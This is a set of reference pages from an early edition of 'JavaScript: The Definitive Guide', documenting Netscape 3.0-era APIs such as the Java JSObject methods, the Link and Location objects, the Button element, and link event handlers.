Note that if an applet uses the JSObject class, it must have the MAYSCRIPT attribute set in its <APPLET> tag, or it will not be allowed to manipulate JavaScript from Java. Also, an applet that uses the JSObject class should import the class with a line like the following:

import netscape.javascript.JSObject;
To compile an applet that uses JSObject, the compiler must be able to locate that class. Depending on the vendor of your compiler, this is usually done by setting your CLASSPATH environment variable. The actual class file for the JSObject class is found in the java_30 file that is part of the Navigator 3.0 distribution.

Full details on programming with the JSObject can be found in Chapter 19, LiveConnect: JavaScript and Java.

See Also

Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JavaPackage | Book Index | JSObject.call()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JSObject.call()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JSObject.call() Java Method

Name

JSObject.call() Java Method---invoke a method of a JavaScript object

Availability

Part of the netscape.javascript package included with Navigator 3.0

Synopsis

public Object call(String methodName, Object args[])

Arguments

methodName

The name of the JavaScript method to be invoked.

args[]

An array of Java object to be passed as arguments to the method.

Returns

A Java Object that represents the return value of the JavaScript method.

Description

The call() method of the Java JSObject class invokes a named method of the JavaScript object represented by the JSObject. Arguments are passed to the method as an array of Java objects, and the return value of the JavaScript method is returned as a Java object. Chapter 19, LiveConnect: JavaScript and Java describes the data conversion performed to convert the method arguments from Java objects to JavaScript values and to convert the method return value from a JavaScript value to a Java object.

See Also

"JSObject", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JSObject | Book Index | JSObject.eval()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JSObject.eval()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JSObject.eval() Java Method

Name

JSObject.eval() Java Method---evaluate a string of JavaScript code

Availability

Part of the netscape.javascript package included with Navigator 3.0

Synopsis

public Object eval(String s)

Arguments

s

A string that contains arbitrary JavaScript statements, separated by semicolons.

Returns

The JavaScript value of the last expression evaluated in s, converted to a Java object.

Description

The eval() method of the Java JSObject class evaluates the JavaScript code contained in the String s in the context of the JavaScript object specified by the JSObject. The eval() method of the Java JSObject class behaves just like the eval() method of the JavaScript Object "class."

The argument s may contain any number of JavaScript statements, separated by semicolons; these statements will be executed in the order in which they appear. The return value of eval() is the value of the last statement or expression evaluated in s.

See Also

"JSObject", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JSObject.call() | Book Index | JSObject.getMember()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JSObject.getMember()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JSObject.getMember() Java Method

Name

JSObject.getMember() Java Method---read a property of a JavaScript object

Availability

Part of the netscape.javascript package included with Navigator 3.0

Synopsis

public Object getMember(String name)

Arguments

name

The name of the property to be read.

Returns

A Java Object that contains the value of the named property of the specified JSObject.

Description

The getMember() method of the Java JSObject class reads and returns to Java the value of a named property of a JavaScript object. The return value may be another JSObject object, or a Double, Boolean, or String object, but is returned as a generic Object, which you must cast as necessary.

See Also

"JSObject", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JSObject.eval() | Book Index | JSObject.getSlot()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JSObject.getSlot()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JSObject.getSlot() Java Method

Name

JSObject.getSlot() Java Method---read an array element of a JavaScript object

Availability

Part of the netscape.javascript package included with Navigator 3.0

Synopsis

public Object getSlot(int index)

Arguments

index

The index of the array element to be read.

Returns

The value of the array element at the specified index of a JavaScript object.

Description

The getSlot() method of the Java JSObject class reads and returns to Java the value of an array element at the specified index of a JavaScript object. The return value may be another JSObject object, or a Double, Boolean, or String object, but is returned as a generic Object, which you must cast as necessary.

See Also

"JSObject", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JSObject.getMember() | Book Index | JSObject.getWindow()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JSObject.getWindow()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JSObject.getWindow() Java Method

Name

JSObject.getWindow() Java Method---return initial JSObject for browser window

Availability

Part of the netscape.javascript package included with Navigator 3.0

Synopsis

public static JSObject getWindow(java.applet.Applet applet);

Arguments

applet

An Applet object running in the web browser window for which a JSObject is to be obtained.

Returns

A JSObject that represents the JavaScript Window object for the web browser window that contains the specified applet.

Description

The getWindow() method is the first JSObject method that any Java applet will call. JSObject does not define a constructor, and the static getWindow() method provides the only way to obtain an initial "root" JSObject from which other JSObjects may be obtained.

See Also

"JSObject", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JSObject.getSlot() | Book Index | JSObject.removeMember()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Boolean.valueOf()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Boolean.valueOf() Method

Name

Boolean.valueOf() Method--- see "Object.valueOf()"

Previous | Home | Next
Boolean.toString() | Book Index | Button
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JSObject.removeMember()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JSObject.removeMember() Java Method

Name

JSObject.removeMember() Java Method---delete a property of a JavaScript object

Availability

Part of the netscape.javascript package included with Navigator 3.0

Synopsis

public void removeMember(String name)

Arguments

name

The name of the property to be deleted from the JSObject.

Returns

nothing

Description

The removeMember() method of the Java JSObject class deletes a named property from the JavaScript object represented by the JSObject.

See Also

"JSObject", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JSObject.getWindow() | Book Index | JSObject.setMember()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JSObject.setMember()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JSObject.setMember() Java Method

Name

JSObject.setMember() Java Method---set a property of a JavaScript object

Availability

Part of the netscape.javascript package included with Navigator 3.0

Synopsis

public void setMember(String name, Object value)

Arguments

name

The name of the property to be set in the JSObject.

value

The value that the named property should be set to.

Returns

nothing

Description

The setMember() method of the Java JSObject class sets the value of a named property of a JavaScript object from Java. The specified value may be any Java Object. Primitive Java values may not be passed to this method. In JavaScript, the specified value will be accessible as a JavaObject object.

See Also

"JSObject", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JSObject.removeMember() | Book Index | JSObject.setSlot()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JSObject.setSlot()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JSObject.setSlot() Java Method

Name

JSObject.setSlot() Java Method---set an array element of a JavaScript object

Availability

Part of the netscape.javascript package included with Navigator 3.0

Synopsis

public void setSlot(int index, Object value)

Arguments

index

The index of the array element to be set in the JSObject.

value

The value that the specified array element should be set to.

Returns

nothing

Description

The setSlot() method of the Java JSObject class sets the value of a numbered array element of a JavaScript object from Java. The specified value may be any Java Object. Primitive Java values may not be passed to this method. In JavaScript, the specified value will be accessible as a JavaObject object.

See Also

"JSObject", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JSObject.setMember() | Book Index | JSObject.toString()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JSObject.toString()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JSObject.toString() Java Method

Name

JSObject.toString() Java Method---return the string value of a JavaScript object

Availability

Part of the netscape.javascript package included with Navigator 3.0

Synopsis

public String toString()

Arguments

none

Returns

The string returned by invoking the toString() method of the JavaScript object represented by the specified Java JSObject.

Description

The toString() method of the Java JSObject class invokes the JavaScript toString() method of the JavaScript object represented by a JSObject and returns the result of that method.

Because the Java toString() method of a JSObject simply invokes the JavaScript toString() method of the JavaScript object represented by that JSObject, Java is guaranteed to convert any JSObject to a string in the same way that JavaScript does.

See Also

"JSObject", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JSObject.setSlot() | Book Index | Link
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link Object

Name

Link Object---a hypertext link

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

document.links[]
document.links.length

Properties

hash

A read/write string that specifies the hash portion of the HREF URL, including the leading hash (#) mark. This portion specifies the name of an anchor within the object referred to by the URL.

host

A read/write string that specifies the combination of the hostname and port portions of the HREF URL.

hostname

A read/write string that specifies the hostname portion of the HREF URL.

href

A read/write string that specifies the complete URL specified by the HREF property.

pathname

A read/write string that specifies the path portion of the HREF URL.

port

A read/write string that specifies the port portion of the HREF URL.

protocol

A read/write string that specifies the protocol portion of the HREF URL, including the trailing colon.

search

A read/write string that specifies the search or query portion of the HREF URL, including the leading question mark.

target

A read/write string property that specifies the name of a Window object (i.e., a frame or a top-level browser window) in which the HREF URL should be displayed.

Event Handlers

onclick

Statements invoked when the user clicks on the link. In Navigator 3.0, this event handler may prevent the link from being followed (e.g., after asking the user to confirm) by returning false. On Windows platforms in Navigator 3.0, this event handler does not work for links created with the <AREA> tag.

onmouseout

Statements invoked when the user moves the mouse off of the link. Available in Navigator 3.0 and later.

onmouseover

Statements invoked when the user moves the mouse over the link. The status property of the current window may be set here.

HTML Syntax

A Link object is created with standard <A> and </A> tags, with the addition of the onClick, onMouseOver and onMouseOut event-handler attributes. The HREF attribute is required for all Link objects. If the NAME attribute is also specified, then an Anchor object is also created:

<A HREF="url"  the destination of the link
    [ NAME="anchor_tag" ] creates an Anchor object
    [ TARGET="window_name" ]  where the new document should be displayed
    [ onClick="handler" ] invoked when link is clicked
    [ onMouseOver="handler" ] invoked when mouse is over link
    [ onMouseOut="handler" ]  invoked when mouse leaves link
>
link text or image    the visible part of the link
</A>

In Navigator 3.0 and later, a Link object is also created by each <AREA> tag within a client-side image map. This is also standard HTML with the addition of event-handler tags:

<MAP NAME="map_name">
    <AREA SHAPE="area_shape"
        COORDS=coordinates
        HREF="url"    the destination of the link
        [ TARGET="window_name" ]  where the new document should be displayed
        [ onClick="handler" ] invoked when area is clicked
        [ onMouseOver="handler" ] invoked when mouse is over area
        [ onMouseOut="handler" ]  invoked when mouse leaves area
>
    ...
</MAP>

Description

The Link object represents a hypertext link or a clickable area of a client-side image map in an HTML document. All links created with the <A> (and in Navigator 3.0 the <AREA>) tag are represented by Link objects and stored in the links[] array of the Document object. Note that links created by both the <A> and <AREA> tags are stored in the same array--there is no real distinction between them, and there is no special Area object that represents hypertext links in an image map.

The Link object can be thought of as a specialized form of the URL object. The destination of a hypertext link is a URL, of course, and the Link object has all of the properties of the URL object which describe that destination. These protocol, hostname, pathname and other URL properties are all documented under the URL object. The Link object is also related to the Location object, which also has a full set of URL properties that describe the URL of the currently displayed document.

The Link object has an additional target property and three event handlers that are not shared by the URL object or Location objects, however. The target property specifies a window name into which the document referred to by the hypertext link should be loaded. And the onmouseover(), onclick(), and onmouseout() event handlers specify code to be executed when the mouse passes over the hypertext link, clicks on it, and moves off or out of the link's region of the screen.

Usage

In HTML parlance, hypertext links are sometimes called "anchors" because they are created with the <A> tag, which is used both for links to other URLs and for creating named link destinations within a document. This is a confusing usage that should be avoided; in JavaScript, a hypertext link is a Link object, and a named destination for a link is an Anchor object.

See Also

"Anchor", "Area", "Location", "URL"

Previous | Home | Next
JSObject.toString() | Book Index | Link.hash
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.hash

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link.hash Property

Name

Link.hash Property---see "URL.hash"

Previous | Home | Next
Link | Book Index | Link.host
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.host

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link.host Property

Name

Link.host Property---see "URL.host"

Previous | Home | Next
Link.hash | Book Index | Link.hostname
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.hostname

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link.hostname Property

Name

Link.hostname Property---see "URL.hostname"

Previous | Home | Next
Link.host | Book Index | Link.href
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.href

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link.href Property

Name

Link.href Property---see "URL.href"

Previous | Home | Next
Link.hostname | Book Index | Link.onclick()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.onclick()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference

Link.onclick() Handler

Name

Link.onclick() Handler---invoked when a Link is clicked

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

<A onClick="handler-statements">    a definition of the handler
<AREA onClick="handler-statements"> another definition; Navigator 3.0 only
link.onclick  a reference to the handler
link.onclick();   an explicit invocation of the handler

Description

onclick() is an event-handler function invoked when the user clicks on a hypertext link. This event handler is defined by the onClick attribute of the HTML <A> or <AREA> tag that defines the hypertext link. The value of this attribute may be any number of JavaScript statements, separated by semicolons. These statements will be executed when the user clicks on the link.

The onclick() event handler is invoked before the browser follows the clicked hypertext link. This allows you to set the href, target, and other properties of the link dynamically (using the this keyword to refer to the clicked link). You may also use Window.alert(), Window.confirm(), and Window.prompt() from this event handler.

In Navigator 3.0, you may prevent the browser from following the link by returning false. If you return true, or any other value, or nothing, then the browser will follow the link as soon as onclick() returns. You might stop the browser from following a link if you used the Window.confirm() method to ask the user if they really want to follow the link and they choose the Cancel button, for example. In general, if you want a link that performs some action but does not cause a new URL to be displayed, it is better to use a the onclick() event handler of a Button object instead of the onclick() handler of a Link object.

Note that while this event handler returns false to tell the browser not to perform its default action (following a link), the onmouseover() event handler must return true to tell the browser not to take its default action (displaying the URL of the link). This incompatibility exists for historical reasons. The standard for Form and form element event handlers is to return false to prevent the browser from performing a default action.

Bugs

In Navigator 3.0, the onclick() event handler of the <AREA> does not work on Windows platforms. Because this is a very common platform, you should avoid using this event handler in client-side image maps. Instead, you can often specify a javascript: URL as the value of the HREF attribute of the <AREA> tag.

See Also

"Link"

Previous | Home
Link.href | Book Index
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Button

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Button Element

Name

Button Element---a graphical pushbutton

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

form.button_name
form.elements[i]

Properties

form

A read-only reference to the Form object that contains the Button.

name

A read-only String, set by the HTML NAME attribute, that specifies the name of the button.

type

A read-only string that specifies the type of this form element. For Button elements, it has the value "button". Available in Navigator 3.0 and later.

value

A read-only String property, specified by the HTML VALUE attribute, which specifies the value displayed in the Button element.

Methods

blur()

Remove keyboard focus from the button.

click()

Simulate a click on the button.

focus()

Give keyboard focus to the button.

Event Handlers

onblur()

Invoked when the button loses keyboard focus.

onclick()

Invoked when the button is clicked.

onfocus()

Invoked when the button is given keyboard focus.

HTML Syntax

A Button element is created with a standard HTML <INPUT> tag, with the addition of the onClick attribute:

<FORM>
    ...
  <INPUT
    TYPE="button"   specifies that this is a button
    VALUE="label" the text that is to appear within the button
    specifies the value property
    [ NAME="name" ]   a name that can later be used to refer to the button
    specifies the name property
    [ onClick="handler" ] JavaScript statements to be executed when the button
    is clicked
  >
    ...
</FORM>

Description

The Button element represents a graphical push button in a form within an HTML document. The value property contains the text that is displayed by the button. The name property is a name by which the button may be referred to. The onClick event handler is invoked when the user clicks on the button.

Usage

Use a Button element whenever you want to allow the user to trigger some action on your web page. You can sometimes use a Link object for the same purpose, but unless the desired action is to follow a hypertext link, a Button is a better choice than a Link, because it makes it more explicit to the user that there is something to be triggered.

Note that the Submit and Reset elements are types of Buttons that submit a form and reset a form's values. Often these default actions are sufficient for a form, and you do not need to create any other types of buttons.

Example

<FORM name="form1">
    <INPUT type="button"
        name="press_me_button"
        value="Press Me"
        onClick="name = prompt('What is your name?',")"
    >
</FORM>

See Also

"Element", "Form", "Reset", "Submit"

Previous | Home | Next
Boolean.valueOf() | Book Index | Button.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.onmouseout()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link.onmouseout() Handler

Name

Link.onmouseout() Handler---invoked when the mouse leaves a link

Availability

Navigator 3.0

Synopsis

<A onMouseOut="handler-statements"> a definition of the handler
<AREA onMouseOut="handler-statements">  another definition; Navigator 3.0 only
link.onmouseout   a reference to the handler
link.onmouseout();    an explicit invocation of the handler

Description

onmouseout() is an event-handler function invoked when the user moves the mouse off of a hypertext link. This event handler is defined by the onMouseOut attribute of the HTML <A> or <AREA> tag that defines the hypertext link. The value of this attribute may be any number of JavaScript statements, separated by semicolons. These statements will be executed when the user moves the mouse off of the link.

See Also

"Link", "Link.onmouseover()"

Previous | Home | Next
Link.onclick() | Book Index | Link.onmouseover()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.onmouseover()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link.onmouseover() Handler

Name

Link.onmouseover() Handler---invoked when the mouse goes over a link

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<A onMouseOver="handler-statements">    a definition of the handler
<AREA onMouseOver="handler-statements"> another definition; Navigator 3.0 only
link.onmouseover  a reference to the handler
link.onmouseover();   an explicit invocation of the handler

Description

onmouseover() is an event-handler function invoked when the user moves the mouse over a hypertext link. This event handler is defined by the onMouseOver attribute of the HTML <A> or <AREA> tag that defines the hypertext link. The value of this attribute may be any number of JavaScript statements, separated by semicolons. These statements will be executed when the user moves the mouse over the link.

By default, the browser displays the URL that a hypertext link refers to in the status line whenever the mouse goes over the link. The onmouseover() event handler is invoked before the URL is displayed. If the handler returns true, then the browser will not display the URL. Thus, an event-handler function that returns true can display a custom message in the status line by setting the Window.status property to any desired value itself.

Note that while this event handler returns true to tell the browser not to perform its default action (displaying the URL of a link), the onclick() event handler of the Link object must return false to tell the browser not to take its default action (following the link). This incompatibility exists for historical reasons. The standard for Form and form element event handlers is to return false to prevent the browser from performing a default action.

See Also

"Link", "Link.onmouseout()"

Previous | Home | Next
Link.onmouseout() | Book Index | Link.pathname
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.pathname

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link.pathname Property

Name

Link.pathname Property---see "URL.pathname"

Previous | Home | Next
Link.onmouseover() | Book Index | Link.port
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.port

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link.port Property

Name

Link.port Property---see "URL.port"

Previous | Home | Next
Link.pathname | Book Index | Link.protocol
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.protocol

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link.protocol Property

Name

Link.protocol Property---see "URL.protocol"

Previous | Home | Next
Link.port | Book Index | Link.search
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.search

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link.search Property

Name

Link.search Property---see "URL.search"

Previous | Home | Next
Link.protocol | Book Index | Link.target
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Link.target

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Link.target Property

Name

Link.target Property---target window of a hypertext link

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

link.target

Description

target is a read/write string property of the Link object. It specifies the name of the frame or window in which the URL referred to by the Link object should be displayed. The initial value of this property is specified by the TARGET attribute of the <A> tag that creates the Link object. If this attribute is unset, then the default is for the window containing the Link to be used, so that following a hypertext link overwrites the document that contains the link.

Note that the value of target is the name of a frame or window, not an actual JavaScript reference to the frame or window itself. The name of a frame is specified by the NAME attribute of the <FRAME> tag. The name of a window is specified when the window is created with a call to the Window.open() method. If target specifies the name of a window that does not exist, then Navigator will automatically open a new window to display the URL, and any future links with the same target name will use that freshly created window.

Four special target names are supported. The target named "_blank" specifies that a new, empty browser window should be created and used to display the new URL. The target "_self" is the default; it specifies that the new URL should be displayed in the same frame or window as the link. The target "_parent" specifies that the results should be displayed in the parent frame of the frame that contains the link. Finally, the "_top" target specifies that the new URL should be displayed in the topmost frame--i.e., that all frames should be removed, and the new URL should occupy the entire browser window.

See Also

"Form.target", "Link"

Previous | Home | Next
Link.search | Book Index | location
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: location

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

location Property

Name

location Property---see "Window.location"

Previous | Home | Next
Link.target | Book Index | Location
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Location

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Location Object

Name

Location Object---represents and controls browser location

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

location
window.location

Properties

The properties of a Location object refer the various portions of a URL, which has the following general format:

protocol://hostname:port/pathname?search#hash
See the URL object for further details on these URL properties.

hash

The hash portion of the URL, including the leading hash (#) mark. This portion specifies the name of an anchor within a single HTML file.

host

A combination of the hostname and port portions of the URL.

hostname

The hostname portion of the URL.

href

The complete URL.

pathname

The path portion of the URL.

port

The port portion of the URL.

protocol

The protocol portion of the URL, including the trailing colon.

search

The search or query portion of the URL, including the leading question mark.

Methods

reload()

Reload the current document from the cache or the server. This method was added in Navigator 3.0.

replace()

Replace the current document with a new one, without generating a new entry in the browser's session history. This method was added in Navigator 3.0.

Description

The Location object is stored in the location property of the Window object, and represents the web address (the "location") of the document currently displayed in that window. The href property contains the complete URL of that document, and the other properties of the Location object each describe a portion of that URL. The Location object is, in fact, a specialized form of the URL object--it has the same properties as that object does.

There is an important difference between the Location object and the URL object, however. The Location object represents the current "location" of the browser, but it also controls that location. If you assign a string containing a URL to the Location object, or to its href property, the web browser responds by loading the newly specified URL and displaying the document it refers to.

When you set the location or location.href properties to a URL that you have already visited, the browser will either load that URL from the cache, or will check with the server to see if the document has changed and reload it if necessary. In Navigator 2.0, it will always check with the web server. In Navigator 3.0, the action it takes depends on the Verify Document setting in Navigator's Network Preferences.

Instead of setting location or location.href to replace the current URL with a completely new one, you can also modify just a portion of the current URL by assigning strings to the other properties of the Location object. Doing this creates a new URL, with one new portion, which the browser loads and displays. For example, if you set the hash property of the Location object you can cause the browser to move to a named location within the current document (although in Navigator 2.0, the browser reloads the entire document to accomplish this; this bug is fixed in Navigator 3.0). Similarly, if you set the search property, you can cause the browser to reload the current URL with a new query string appended. If the URL refers to a CGI script, then the document resulting from the new query string may be quite different from the original document.

It is generally not so useful to set the other properties of the Location object. For example, if you loaded a document via the HTTP protocol, you would rarely be able to actually load another document simply by using the protocol property to change the URL protocol from http: to ftp:. See the URL object for a complete description of the hash, search, protocol and other properties that represent portions of a URL.

While the properties of the Location object are identical to those of the URL object, we've seen that they have quite different behavior. In Navigator 3.0, the Location object also defines methods that the URL object does not. The reload() method of the Location object reloads the current document, and the replace() method loads a new document without creating a new history entry for it--the new document "replaces" the current one in the browser's history list.

Note that the Location object bears some resemblance to the Link object which is another specialized version of the URL object. While the Location object represents and controls the current location of the browser, Link objects represent the destinations of hypertext links within a document.

See Also

"Link", "URL", "Window.location"

Previous | Home | Next
location | Book Index | Location.hash
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Location.hash

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Location.hash Property

Name

Location.hash Property---see "URL.hash"

Previous | Home | Next
Location | Book Index | Location.host
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Button.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Button.blur() Method

Name

Button.blur() Method--- see "Element.blur()"

Previous | Home | Next
Button | Book Index | Button.click()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Location.host

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Location.host Property

Name

Location.host Property---see "URL.host"

Previous | Home | Next
Location.hash | Book Index | Location.hostname
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Location.hostname

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Location.hostname Property

Name

Location.hostname Property---see "URL.hostname"

Previous | Home | Next
Location.host | Book Index | Location.href
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Location.href

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Location.href Property

Name

Location.href Property---see "URL.href"

Previous | Home | Next
Location.hostname | Book Index | Location.pathname
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Location.pathname

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Location.pathname Property

Name

Location.pathname Property---see "URL.pathname"

Previous | Home | Next
Location.href | Book Index | Location.port
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Location.port

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Location.port Property

Name

Location.port Property---see "URL.port"

Previous | Home | Next
Location.pathname | Book Index | Location.protocol
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Location.protocol

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Location.protocol Property

Name

Location.protocol Property---see "URL.protocol"

Previous | Home | Next
Location.port | Book Index | Location.reload()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Location.reload()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Location.reload() Method

Name

Location.reload() Method---reload the current document

Availability

Navigator 3.0

Synopsis

location.reload()
location.reload(force)

Arguments

force

A Boolean argument that specifies whether the document should be reloaded, even if the server reports that it has not been modified since it was last loaded. If this argument is omitted, or if it is false, then the method will only reload the full page if it has changed since last loaded.

Returns

Nothing.

Description

The reload() method of the Location object reloads the document that is currently displayed in the window of the Location object. When called with no arguments, or with the argument false, it uses the If-Modified-Since HTTP header to determine whether the document has changed on the web server. If it has, it reloads the document from the server, and if not, it reloads the document from the cache. This is is the same action that occurs when the user clicks on Navigator's Reload button.

When reload() is called with the argument true, then it will always bypass the cache and reload the document from the server, regardless of the last-modified time of the document. This is the same action that occurs when the user shift-clicks on Navigator's Reload button.

See Also

"Location", "Location.replace()"

Previous | Home | Next
Location.protocol | Book Index | Location.replace()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Location.replace()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Location.replace() Method

Name

Location.replace() Method---replace one displayed document with another

Availability

Navigator 3.0

Synopsis

location.replace(url)

Arguments

url

A string that specifies the URL of the new document that is to replace the current one.

Returns

Nothing.

Description

The replace() method of the Location object loads and displays a new document. Loading a document in this way is different than simply setting location or location.href in one important respect: the replace() method does not generate a new entry in the History object. When you use replace(), the new URL overwrites the current entry in the History object. After calling replace(), that is, the browser's Back button will not return you to the previous URL; it will return you to the URL before that one.

Usage

When you are working with multiple frames and/or JavaScript generated documents, you sometimes end up with quite a few temporary or transient documents. If there are more than just a few of these documents, it becomes annoying to the user to back out of your web site with the Back button. If you use the replace() method to load these documents, however, you can prevent this problem.

See Also

"History", "Location", "Location.reload()"

Previous | Home | Next
Location.reload() | Book Index | Location.search
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


